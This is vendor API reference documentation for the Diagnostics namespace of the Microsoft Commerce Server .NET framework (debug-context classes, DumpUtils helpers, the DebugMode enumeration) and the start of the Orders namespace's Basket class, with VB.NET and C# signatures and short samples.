The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Warning:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Warn (String, String, Exception) Method (BCL)

Use this method to record a warning message and an exception.

Definition

[Visual Basic .NET]
Overrides Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Warn(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The exception.
[C#]
category
The debug category.
message
The debug message.
ex
The exception.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Warning:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext Properties (BCL)

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to True if the current DebugMode property is set to either Debug or the superset Checked mode.


DebugContext Class (BCL)

Represents the current debugging level for the application. This class sets the debug mode and contains methods for handling debug warnings, errors, and informational trace messages. The Trace, Warn, and Error methods are virtual so this method may be derived.

Protected Instance Constructor

Constructor | Description
DebugContext Constructor | Creates a new instance of the DebugContext class.

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.

Public Instance Properties

Property | Description
DebugMode | Gets the current debug mode.
IsDebugMode | Gets a Boolean that is set to True if the current debug mode is set to either Debug or the superset Checked mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext Constructor (BCL)

Protected Instance Constructor

Constructor | Description
DebugContext Constructor | Creates a new instance of the DebugContext class.


DebugContext Constructor (BCL)

Use this method to create a new instance DebugContext class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected DebugContext(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext Methods (BCL)

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.


DebugContext.Error (String, String) Method (BCL)

Use this method to record an error.

Definition

[Visual Basic .NET]
Overridable Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public virtual void Error(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

If the Commerce Server site is running in Checked mode, this method throws a CommerceDebugException. Otherwise, this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Error (String, String, Exception) Method (BCL)

Use this method to record an error and an exception.

Definition

[Visual Basic .NET]
Overridable Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public virtual void Error(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The inner exception.
[C#]
category
The debug category.
message
The debug message.
ex
The inner exception.

Remarks

If the Commerce Server site is running in Checked mode, this method throws a CommerceDebugException. Otherwise, this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Trace (String, String) Method (BCL)

Use this method to record an informational trace message.

Definition

[Visual Basic .NET]
Overridable Public Sub Trace( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public virtual void Trace(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Warn (String, String) Method (BCL)

Use this method to record a warning message.

Definition

[Visual Basic .NET]
Overridable Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public virtual void Warn(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Warn (String, String, Exception) Method (BCL)

Use this method to record a warning message along with an exception.

Definition

[Visual Basic .NET]
Overridable Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public virtual void Warn(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The exception.
[C#]
category
The debug category.
message
The debug message.
ex
The exception.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext Properties (BCL)

Public Instance Properties

Property | Description
DebugMode | Gets the current debug mode.
IsDebugMode | Gets a Boolean that is set to True if the current debug mode is set to either Debug or the superset Checked mode.


DebugContext.DebugMode Property (BCL)

The DebugMode property is a read/write DebugMode that retrieves the current debug mode.

Definition

[Visual Basic .NET]
Overridable Public Property DebugMode As DebugMode
[C#]
public virtual DebugMode DebugMode {get; set;}

Property Value

The current debug mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.IsDebugMode Property (BCL)

The IsDebugMode property is a Boolean that indicates whether the DebugMode property is set to Debug or Checked.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsDebugMode As System.Boolean
[C#]
public virtual System.Boolean IsDebugMode {get;}

Property Value

A Boolean that is True if the DebugMode property is set to Debug, and False if the DebugMode property is set to Checked.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugMode Enumeration (BCL)

Enumerates the possible DebugMode settings.

Members

Member Name | Description
Checked | Checked mode is a superset of debug mode and indicates that special time- or resource-intensive checks should be made.
Debug | In debug mode, some special checks are made, but not those that are resource or time intensive.
Production | In production mode, no special checks are made, only some level of tracing is provided.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils Class (BCL)

Contains utility methods useful for dumping out the data in various CommerceServer and Interop objects as HTML.

Protected Instance Constructor

Constructor | Description
DumpUtils Constructor | Creates a new instance of the DumpUtils class.

Public Static (Shared) Methods

Method | Description
DumpDataContainer(IDataContainer, HtmlTextWriter, String) | Dumps a ContentList or ContentListFactory object to the output stream as HTML with no indentation.
DumpDataSet(DataSet, HtmlTextWriter, String) | Dumps the tables in the DataSet object to the output stream as HTML with no indentation.
DumpDataTable(DataTable, HtmlTextWriter) | Dumps a DataTable object to the output stream as HTML with no indentation.
DumpDictionary(IDictionary, HtmlTextWriter, String) | Dumps a Commerce.Dictionary object to the output stream with no indentation.
DumpFields(Fields, HtmlTextWriter, String) | Dumps a Fields collection to the output stream with no indentation.
DumpObject(Object, HtmlTextWriter, String) | Dumps an object of unknown type.
DumpObject(Object, HtmlTextWriter, String, Int32) | Dumps an object of unknown type.
DumpRecordset(Recordset, HtmlTextWriter, String) | Dumps a Recordset object to the HtmlTextWriter object using no indentation.
DumpSimpleList(ISimpleList, HtmlTextWriter, String) | Dumps a Commerce.SimpleList object to the output stream with no indentation.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils Constructor (BCL)

Protected Instance Constructor

Constructor | Description
DumpUtils Constructor | Creates a new instance of the DumpUtils class.


DumpUtils Constructor (BCL)

Use this method to create a new instance of the DumpUtils class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected DumpUtils(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils Methods (BCL)

Public Static (Shared) Methods

Method | Description
DumpDataContainer(IDataContainer, HtmlTextWriter, String) | Dumps a ContentList or ContentListFactory object to the output stream as HTML with no indentation.
DumpDataSet(DataSet, HtmlTextWriter, String) | Dumps the tables in the DataSet object to the output stream as HTML with no indentation.
DumpDataTable(DataTable, HtmlTextWriter) | Dumps a DataTable object to the output stream as HTML with no indentation.
DumpDictionary(IDictionary, HtmlTextWriter, String) | Dumps a Commerce.Dictionary object to the output stream with no indentation.
DumpFields(Fields, HtmlTextWriter, String) | Dumps a Fields collection to the output stream with no indentation.
DumpObject(Object, HtmlTextWriter, String) | Dumps an object of unknown type.
DumpObject(Object, HtmlTextWriter, String, Int32) | Dumps an object of unknown type.
DumpRecordset(_Recordset, HtmlTextWriter, String) | Dumps a Recordset object to the HtmlTextWriter object with no indentation.
DumpSimpleList(ISimpleList, HtmlTextWriter, String) | Dumps a Commerce.SimpleList object to the output stream with no indentation.


DumpUtils.DumpDataContainer (IDataContainer, HtmlTextWriter, String) Method (BCL)

Use this method to dump a ContentList or ContentListFactory object to the output stream as HTML with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDataContainer( _
  ByVal dc As Microsoft.CommerceServer.Interop.Caching.IDataContainer, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpDataContainer(
  Microsoft.CommerceServer.Interop.Caching.IDataContainer dc,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
dc
The IDataContainer object.
output
The output stream.
name
The name of object for display.
[C#]
dc
The IDataContainer object.
output
The output stream.
name
The name of object for display.

Example

To supply the DumpDataContainer method with an HtmlTextWriter object that wraps the ASP .NET Response object, you must supply an output parameter.

[C#]
// This sample requires a CommerceServer cache of type "Discounts"
// to be configured in the web.config file.
// A reference must be added to the CacheCompLib interop assembly.
using Commerce = Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Interop.Caching;

Commerce.IDictionary dictCache = (Commerce.IDictionary)CommerceContext.Current.Caches["Discounts"].GetCache();
IDataContainer dataContainer = (IDataContainer)dictCache["Factory"];
DumpUtils.DumpDataContainer(dataContainer, new HtmlTextWriter(Response.Output), "Discounts cache");
[Visual Basic .NET]
' This sample requires a CommerceServer cache of type "Discounts"
' to be configured in the web.config file.
' A reference must be added to the CacheCompLib interop assembly.

Imports Microsoft.CommerceServer.Runtime
Imports Microsoft.CommerceServer.Runtime.Diagnostics
Imports Microsoft.CommerceServer.Interop.Caching

Dim dictCache As Microsoft.CommerceServer.Runtime.IDictionary
dictCache = CType(CommerceContext.Current.Caches("Discounts").GetCache(), Microsoft.CommerceServer.Runtime.IDictionary)
Dim dataContainer As IDataContainer = CType(dictCache.Value("Factory"), IDataContainer)
DumpUtils.DumpDataContainer(dataContainer, New HtmlTextWriter(Response.Output), "Discounts cache")

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpDataSet (DataSet, HtmlTextWriter, String) Method (BCL)

Use this method to dump the tables in the DataSet object to the output stream as HTML with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDataSet( _
  ByVal ds As System.Data.DataSet, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpDataSet(
  System.Data.DataSet ds,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
ds
The DataSet object.
output
The HtmlTextWriter object output stream.
name
The name of the object for display.
[C#]
ds
The DataSet object.
output
The HtmlTextWriter object output stream.
name
The name of the object for display.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpDataTable (DataTable, HtmlTextWriter) Method (BCL)

Use this method to dump a DataTable object to the output stream as HTML with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDataTable( _
  ByVal dt As System.Data.DataTable, _
  ByVal output As System.Web.UI.HtmlTextWriter _
)
[C#]
public static void DumpDataTable(
  System.Data.DataTable dt,
  System.Web.UI.HtmlTextWriter output
);

Parameters

[Visual Basic .NET]
dt
The DataTable object.
output
The HtmlTextWriter object output stream.
[C#]
dt
The DataTable object.
output
The HtmlTextWriter object output stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpDictionary (IDictionary, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Commerce.Dictionary object to the output stream with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDictionary( _
  ByVal d As Microsoft.CommerceServer.Runtime.IDictionary, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpDictionary(
  Microsoft.CommerceServer.Runtime.IDictionary d,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
d
Dictionary to be dumped.
output
The HtmlTextWriter object output stream.
name
The dictionary name for display.
[C#]
d
Dictionary to be dumped.
output
The HtmlTextWriter object output stream.
name
The dictionary name for display.

Example

To supply the DumpDataDictionary method with an HtmlTextWriter object that wraps the ASP .NET Response object, you must supply an output parameter.

[C#]
using Commerce = Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;

Commerce.Dictionary dict = new Commerce.DictionaryClass();
dict["testKey"] = "testValue";
DumpUtils.DumpDictionary(dict, new HtmlTextWriter(Response.Output), "My Dictionary Object");
[Visual Basic .NET]
Imports Microsoft.CommerceServer.Runtime.Diagnostics

Dim dict As New Microsoft.CommerceServer.Runtime.DictionaryClass()
dict.Value("testKey") = "testValue"
Call DumpUtils.DumpDictionary(dict, New HtmlTextWriter(Response.Output), "My Dictionary Object")

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Dump an Order Form


DumpUtils.DumpFields (Fields, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Fields collection to the output stream with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpFields( _
  ByVal flds As ADODB.Fields, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpFields(
  ADODB.Fields flds,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
flds
The fields object to dump.
output
The output stream to dump to.
name
The name of the object for display purposes.
[C#]
flds
The fields object to dump.
output
The output stream to dump to.
name
The name of the object for display purposes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpObject (Object, HtmlTextWriter, String) Method (BCL)

Use this method to dump an object of unknown type.

Definition

[Visual Basic .NET]
Public Shared Sub DumpObject( _
  ByVal obj As System.Object, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpObject(
  System.Object obj,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
obj
The object to dump.
output
The output stream.
name
The name of the object for display purposes.
[C#]
obj
The object to dump.
output
The output stream.
name
The name of the object for display purposes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpObject (Object, HtmlTextWriter, String, Int32) Method (BCL)

Use this method to dump an object to the HtmlTextWriter object.

Definition

[Visual Basic .NET]
Public Shared Sub DumpObject( _
  ByVal obj As System.Object, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String, _
  ByVal level As System.Int32 _
)
[C#]
public static void DumpObject(
  System.Object obj,
  System.Web.UI.HtmlTextWriter output,
  System.String name,
  System.Int32 level
);

Parameters

[Visual Basic .NET]
obj
The object to be dumped.
output
The output stream to dump to.
name
The name of the object to output.
level
The indentation level.
[C#]
obj
The object to be dumped.
output
The output stream to dump to.
name
The name of the object to output.
level
The indentation level.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpRecordset (_Recordset, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Recordset object to the HtmlTextWriter object with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpRecordset( _
  ByVal rs As ADODB._Recordset, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpRecordset(
  ADODB._Recordset rs,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
rs
The Recordset object to dump.
output
The output stream.
name
The name of object for display purposes.
[C#]
rs
The Recordset object to dump.
output
The output stream.
name
The name of object for display purposes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpSimpleList (ISimpleList, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Commerce.SimpleList object to the output stream with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpSimpleList( _
  ByVal list As Microsoft.CommerceServer.Runtime.ISimpleList, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpSimpleList(
  Microsoft.CommerceServer.Runtime.ISimpleList list,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
list
The SimpleList to be dumped.
output
The output stream.
name
The name for display.
[C#]
list
The SimpleList to be dumped.
output
The output stream.
name
The name for display.

Example

To supply the DumpSimpleList method with an HtmlTextWriter object that wraps the ASP .NET Response object, you must supply an output parameter.

[C#]
using Microsoft.CommerceServer.Runtime.Diagnostics;

SimpleList list = new SimpleListClass();
object objTemp = "New Value Number One";
list.Add(ref objTemp);
DumpUtils.DumpSimpleList(list, new HtmlTextWriter(Response.Output), "Product");
[Visual Basic .NET]
Imports Microsoft.CommerceServer.Runtime
Imports Microsoft.CommerceServer.Runtime.Diagnostics

Dim list As New SimpleList()
list.Add("New Value Number one")
Call DumpUtils.DumpSimpleList(list, New HtmlTextWriter(Response.Output), "My SimpleList")

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.ContainerType Enumeration (BCL)

Enumeration of the different container object types supported.

Members

Member name | Description
Array | Safe array
DataContainer | IDataContainer (ContentList or ContentListFactory)
Dictionary | Commerce.Dictionary
Fields | Fields collection
ReadOnlyStringCollection | ReadOnlyStringCollection
Recordset | Recordset
SimpleList | Commerce.Simplelist
Unknown | Unknown object type

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Class (BCL)

The WebDebugContext class represents the current debugging level for the application. It represents the debug mode and has methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.

Public Instance Constructor

Constructor | Description
WebDebugContext Constructor(DebugMode) | Creates a new instance of the WebDebugContext class.

Public Instance Methods

Method | Description
Error(String, String) | Records an error and an exception.
Error(String, String, Exception) | Records an error.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message and an exception.
Warn(String, String, Exception) | Records a warning message.

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to true if the current DebugMode property is set to either Debug or the superset Checked mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
WebDebugContext Constructor(DebugMode) | Creates a new instance of the WebDebugContext class.


WebDebugContext Constructor (DebugMode) (BCL)

Use this method to create a new instance of the WebDebugContext class.

[Visual Basic .NET]
Public Sub New( _
  ByVal dbgMode As DebugMode _
)
[C#]
public WebDebugContext(
  DebugMode dbgMode
);

Parameters

[Visual Basic .NET]
dbgMode
The debug mode enumerator.
[C#]
dbgMode
The debug mode enumerator.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Methods (BCL)

Public Instance Methods

Method | Description
Error(String, String) | Records an error and an exception.
Error(String, String, Exception) | Records an error.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message and an exception.
Warn(String, String, Exception) | Records a warning message.


WebDebugContext.Error (String, String) Method (BCL)

Use this method to record an error.

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Error(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Error (String, String, Exception) Method (BCL)

Use this method to record an error and an exception.

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Error(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The inner exception.
[C#]
category
The debug category.
message
The debug message.
ex
The inner exception.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Trace (String, String) Method (BCL)

Use this method to record an informational trace message.

[Visual Basic .NET]
Overrides Public Sub Trace( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Trace(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Warn (String, String) Method (BCL)

Use this method to record a warning message.

[Visual Basic .NET]
Overrides Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Warn(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext.Warn (String, String, Exception) Method (BCL)

Use this method to record an error message and an exception.

[Visual Basic .NET]
Overrides Pubic Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Warn(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The exception.
[C#]
category
The debug category.
message
The debug message.
ex
The exception.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


WebDebugContext Properties (BCL)

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to true if the current DebugMode property is set to either Debug or the superset Checked mode.


Microsoft.CommerceServer.Runtime.Orders

The classes in the Microsoft.CommerceServer.Runtime.Orders namespace contain the order processing functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Orders Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Orders namespace.

Classes

Class | Description
Basket | Encapsulates a basket in the Commerce Server order system. The user ID must be specified to create an instance of this class.
CommerceOrderModule | Creates the default OrderContext object for the site.
CommerceOrderSystemException | Base class for exceptions thrown from order system subsystem.
LineItem | Abstracts a line item on an order form.
LineItemCollection | Encapsulates the collection of line items associated with the order form.
OrderAddress | Abstracts an element of the order address collection.
OrderAddressCollection | Collection of addresses associated with an order form.
OrderContext | Represents a connection to a transactions database. The construction of an OrderGroup object requires an OrderContext object.
OrderForm | Encapsulates an order form instance.
OrderFormCollection | Encapsulates the collection of order forms on an OrderGroup object.
OrderGroup | Abstract base class for all OrderGroup object types in the Commerce Server order system.
OrderGroupSearch | Abstracts the criteria for order group searches.
OrderGroupSearchOptions | Abstracts OrderGroup object search results specification.
OrderTemplate | Encapsulates an order template in the Commerce Server order system. The user ID and template ID must be specified to create an instance of this class.
PipelineInfo | Encapsulates the context dictionary passed down to run a pipeline.
PurchaseOrder | Encapsulates a saved order in the Commerce Server order system. The user ID and the order ID must both be specified to create an instance of this class.

Structures

Structure | Description
EuroConversionTable | Specifies conversion rates from all 12 European currencies to EURO.

Examples

Example | Description
Code to Manipulate a Basket on an ASP.NET Web Form | Describes how to manipulate a basket on an ASP.NET Web form.
Code to Set Shipping Methods on a Basket on an ASP.NET Web Form | Describes how to set shipping methods on a basket.
Code to Dump an Order Form | Describes how to dump the contents of an order form.

See Also

Commerce Server .NET Application Framework Tutorial


Basket Class (BCL)

Encapsulates a basket in the Commerce Server order system. The user ID must be specified to create an instance of this class.

Public Instance Methods

Method | Description
Add(OrderTemplate) | Adds the items from the specified order template to the basket instance.
Add(PurchaseOrder) | Adds the items from the specified purchase order to the basket instance.
Clear | Clears all the order forms and the addresses associated with the basket instance.
Delete | Purges the basket instance from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves the enumerator on this OrderGroup instance.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the basket instance to the underlying stores.
SaveAsOrder | Persists the basket instance as a purchase order to the underlying stores.
SetBillingAddress(String) | Sets the billing address property on every order form in the basket.
SetPropertyOnOrderForms(String, Object) | Sets the specified property on every order form in the basket.
SetShippingAddress(String) | Sets the shipping address property on every line item of every order form in the basket.

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the addresses collection associated with the OrderGroup instance.
BasketID | Accesses the BasketID field.
HandlingTotal (Inherited from OrderGroup) | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the ShippingTotal property for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this basket instance.
SubTotal (Inherited from OrderGroup) | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal property in this OrderGroup instance.
